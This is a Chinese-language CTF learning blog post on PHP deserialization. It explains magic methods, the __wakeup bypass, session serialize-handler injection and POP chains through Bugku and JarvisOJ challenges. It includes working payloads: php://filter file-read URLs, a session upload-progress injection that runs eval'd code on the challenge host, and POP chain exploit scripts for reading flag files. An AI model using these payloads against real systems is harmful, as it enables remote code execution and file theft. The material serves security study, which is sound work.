CTF之萌新反序列化学习

反序列化

  • 概念
  • 相关函数
    • 注意事项
  • 魔术方法+题目
    • 例题:flag.php
    • php __wakeup
  • php Session
    • 例题
  • phar反序列化(未完成)
  • 构造pop链
    • 例一:
    • 例二

概念

数据(变量)序列化(持久化)
将一个变量的数据“转换为”字符串,但并不是类型转换,目的是将该字符串储存在本地。相反的行为称为反序列化。
序列化和反序列化的目:使得程序间传输对象会更加方便

相关函数

CTF之萌新反序列化学习_第1张图片
CTF之萌新反序列化学习_第2张图片
代码如下,可以自己测试测试

 
highlight_file(__FILE__);
class user
{
    //变量
    public $age = 0;
    public $name = '';
    //方法
    public function print_data()
    {
        echo $this->name . ' is ' . $this->age. ' yaers old
'
; } } //创建对象 $user = new user(); //赋值 $user->age = 16; $user->name = 'caixukun'; //输出 $user->print_data(); //输出反序列化后的数据 echo serialize($user); ?>

序列化打印了如下数据
O:4:"user":2:{s:3:"age";i:16;s:4:"name";s:8:"caixukun";}
CTF之萌新反序列化学习_第3张图片
解释一下每个代表的意义
CTF之萌新反序列化学习_第4张图片
在对象前可以添加+可以绕过正则匹配 php7和php5有区别,php7用+号绕过时会报错无法反序列化,只有php5可以这样。
可参考安恒杯12月月赛解题报告

注意事项

\x00 + 类名 + \x00 +变量名 反序列化出来的是private变量
\x00 + * + \x00 + 变量名 反序列化出来的是protected变量
直接变量名反序列化出来的是public变量
CTF之萌新反序列化学习_第5张图片
查看源代码发现是下图的图形,我们将其变为可读的字符
在这里插入图片描述
使用python的requests发送请求得到了
在这里插入图片描述

魔术方法+题目

PHP中把以两个下划线__开头的方法称为魔术方法:
__construct(), __destruct(), __call(), __callStatic(), __get(), __set(), __isset(), __unset(), __sleep(), __wakeup(), __toString(), __invoke(), __set_state(), __clone() 和 __debugInfo() 等方法在 PHP 中被称为魔术方法(Magic methods)。
在命名自己的类方法时不能使用这些方法名,除非是想使用其魔术功能。

CTF之萌新反序列化学习_第6张图片
PHP魔术方法:

__construct() //当一个对象创建时被调用
__destruct() //当一个对象销毁时被调用
__toString() //当一个对象被当作一个字符串使用
__sleep()//在对象在被序列化之前运行
__wakeup() //将在反序列化之后立即被调用(通过序列化对象元素个数不符来绕过)
__get() //获得一个类的成员变量时调用
__set() //设置一个类的成员变量时调用
__invoke() //调用函数的方式调用一个对象时的回应方法
__call() //当调用一个对象中的不能用的方法的时候就会执行这个函数

这里直接上题看看
实验环境:bugku-welcome to the bugkuctf
由于bugku环境炸了,找了好久找到了师傅的源码,在此感谢,需要的链接如下:ctf中的一道反序列化题
查看源代码如下
CTF之萌新反序列化学习_第7张图片
这里可以传参,我们先对user传参:php://input然后POST方式提交admin进行绕过,发现变为了hello admin!
CTF之萌新反序列化学习_第8张图片
接下来对file传伪协议读取class.php的源代码,base64解码即可
?user=php//input&file=php://filter/read=convert.base64-encode/resource=class.php
CTF之萌新反序列化学习_第9张图片
__toString,打印一个对象时,如果定义了__toString()方法,就能在测试时,通过echo打印对象体,对象就会自动调用它所属类定义的toString方法,格式化输出这个对象所包含的数据
接下来读取index.php
CTF之萌新反序列化学习_第10张图片
发现$pass = unserialize($pass); echo $pass;会触发public function __toString()
如何反序列化就是关键,将class.php源码复制,加入代码如下:

$a = new Read();
$a->file='f1a9.php';
echo serialize($a);

用php运行后得到O:4:"Read":1:{s:4:"file";s:8:"f1a9.php";}
在这里插入图片描述
使用文件包含,在class.php里对pass传参为序列化的结果
CTF之萌新反序列化学习_第11张图片
发现__toString was called! 成功得到flag
CTF之萌新反序列化学习_第12张图片

例题:flag.php

实验环境:bugku-flag.php
进入页面发现有一个登录框,但怎么输都没有显示,提示:hint
CTF之萌新反序列化学习_第13张图片
尝试后发现使用get方式传输hint=1
CTF之萌新反序列化学习_第14张图片
给出了源代码,当传入的cookie的反序列化为key时,得到flag,这里我一直认为key的值为:ISecer:www.isecer.com,查看了wp才发现,key的值为NULL,接下来构造序列化


echo serialize('');
?>

得到了s:0:'''';
在这里插入图片描述
传参即可,注意;要转换为url编码
CTF之萌新反序列化学习_第15张图片
得到flag

php __wakeup

Sec Bug #72663 Create an Unexpected Object and Don’t Invoke __wakeup() in Deserialization
PHP5 < 5.6.25,PHP7 < 7.0.10 时
当序列化字符串中,如果表示对象属性个数的值大于真实属性个数时就会跳过__wakeup的执行

php Session

Bug #71101 PHP Session Data Injection Vulnerability
PHP内置了多种处理器用于存取$_session数据时会对数据进行序列化和反序列化,常用的有以下三种,对应三种不同的处理格式:

处理器 对应的存储格式
php 键名 + 竖线 + 经过 serialize() 函数反序列处理的值
php_binary 键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值
php_serialize(php>=5.5.4) 经过 serialize() 函数反序列处理的数组

当session_start()被调用或者php.ini中session.auto_start为1时,PHP内部调用会话管理器,访问用户session被序列化以后,存储到指定目录(默认为/tmp)。
配置文件php.ini中含有这几个与session存储配置相关的配置项:

session.save_path="" --设置session的存储路径,默认在/tmp
session.auto_start --指定会话模块是否在请求开始时启动一个会话,默认为0不启动
session.serialize_handler --定义用来序列化/反序列化的处理器名字。默认使用php
session.upload_progress.cleanup 一旦读取了所有POST数据,立即清除进度信息。默认开启
session.upload_progress.enabled 将上传文件的进度信息存在session中。默认开启。

例题

题目地址:http://web.jarvisoj.com:32784/


//A webshell is wait for you
ini_set('session.serialize_handler', 'php');//服务器反序列化使用的处理器是php_serialize,而这里使用了php,所以会出现安全问题
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }
    
    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?>

题目给出了源码,可以读取phpinfo,发现可以使用session反序列化:
CTF之萌新反序列化学习_第16张图片
原文意思大致要求满足以下2个条件就会写入到session中:

  1. session.upload_progress.enabled = On
  2. 上传一个字段的属性名和session.upload_progress.name的值相,这里根据上面的phpinfo信息看得出,值为PHP_SESSION_UPLOAD_PROGRESS,即name=“PHP_SESSION_UPLOAD_PROGRESS”

由phpinfo()页面知,session.upload_progress.enabled为On。当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据。所以可以通过Session Upload Progress来设置session。

构造上传页面:

<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" />
form>

接下来进行序列化:


class OowoO
{
    public $mdzz='print_r(scandir(dirname(__FILE__)));';
}
$obj = new OowoO();
echo serialize($obj);
?>

得到:O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}
接下来进行上传,抓包
CTF之萌新反序列化学习_第17张图片
为防止转义,在引号前加上\ 。利用前面的html页面随便上传一个东西,把filename改为如下:
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}
注意,前面有一个|,这是session的格式。
CTF之萌新反序列化学习_第18张图片
接下来由phpinfo知道了路径,尝试读取

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}

CTF之萌新反序列化学习_第19张图片
参考:jarvisoj-web-writeup

phar反序列化(未完成)

利用 phar 拓展 php 反序列化漏洞攻击面


可参考师傅文章:
四个实例递进php反序列化漏洞理解
对象注入(反序列化漏洞)

构造pop链

例一:


header("Content-type:text/html;charset=utf-8");
error_reporting(1);

class Read 
{
    public function get_file($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
class Show
{
    public $source;
    public $var;
    public $class1;
    public function __construct($name='index.php')
    {
        $this->source = $name;
        echo $this->source.' Welcome'."
"
; } public function __toString() { $content = $this->class1->get_file($this->var); echo $content; return $content; } public function _show() { if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) { die('hacker'); } else { highlight_file($this->source); } } public function Change() { if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; } } public function __get($key){ $function=$this->$key; $this->{$key}(); } } if(isset($_GET['sid'])) { $sid=$_GET['sid']; $config=unserialize($_GET['config']); $config->$sid; } else { $show = new Show('index.php'); $show->_show(); }

审计代码可以发现:

  1. Read类读取文件源代码,我们要用他来获取flag
  2. Show类内$content = $this->class1->get_file($this->var); ,而get_file()为Read内方法,说明$class1为new Read();
  3. Show内使用get_file()需要触发__toString()魔术方法
  4. __get()魔术方法在当访问不存属性在或为私有属性的时候会触发,__get()方法内将$key作为方法执行

解题顺序:通过反序列化覆盖变量$class1为new Read(); 覆盖变量$var为flag.php;$source是障眼法不用管;反序列化后访问$sid属性,将$sid赋值为__toString,于是就访问了不存在的属性触发了__get()方法;__get()内又获取了这个不存在的属性名__toString,将之作为方法调用,于是触发了__toString()方法;在__toString()内调用Read对象内的get_file()方法读取$var也就是flag.php的源代码,得到base64解码就是flag

构造序列化:


class Read 
{
    public function get_file($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
class Show
{
    public $source = "index.php";
    public $var;
    public $class1;
}

$y1ng =  new Show();
$y1ng->var = "flag.php";
$y1ng->class1 = new Read();
echo serialize($y1ng);

例二


//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);//8.触发这个include,利用php base64 wrapper 读flag
    }
    public function __invoke(){
        $this->append($this->var);//7.然后会调用到这里
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."
"
; } public function __toString(){ return $this->str->source;//4.这里会调用str->source的__get 那么我们将其设置为Test对象 } public function __wakeup(){//2.如果pop是个Show,那么调用这里 if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {//3.匹配的时候会调用__toString echo "hacker"; $this->source = "index.php"; } } } class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p;//5.触发到这里 return $function();//6.()会调用__invoke,我们这里选择Modifier对象 } } if(isset($_GET['pop'])){ @unserialize($_GET['pop']);//1.反序列调用这里 } else{ $a=new Show; highlight_file(__FILE__); }

构造pop链:
调用__wakeup()->触发__tostring()->source属性不存在,触发Test类的__get()函数 -> 触发__invoke()函数 -> include()包含文件(伪协议)
师傅exp代码如下:

 
class Modifier{
    protected $var;
    function __construct(){
        $this->var="php://filter/convert.base64-encode/resource=flag.php";
    }
}

class Test{
    public $p;
}

class Show{
    public $source;
    public $str;
}

$s = new Show();
$t = new Test();
$r = new Modifier();
$t->p = $r;
$s->str = $t;
$s->source = $s;
echo urlencode(serialize($s));

你可能感兴趣的:(刷题,ctf,安全)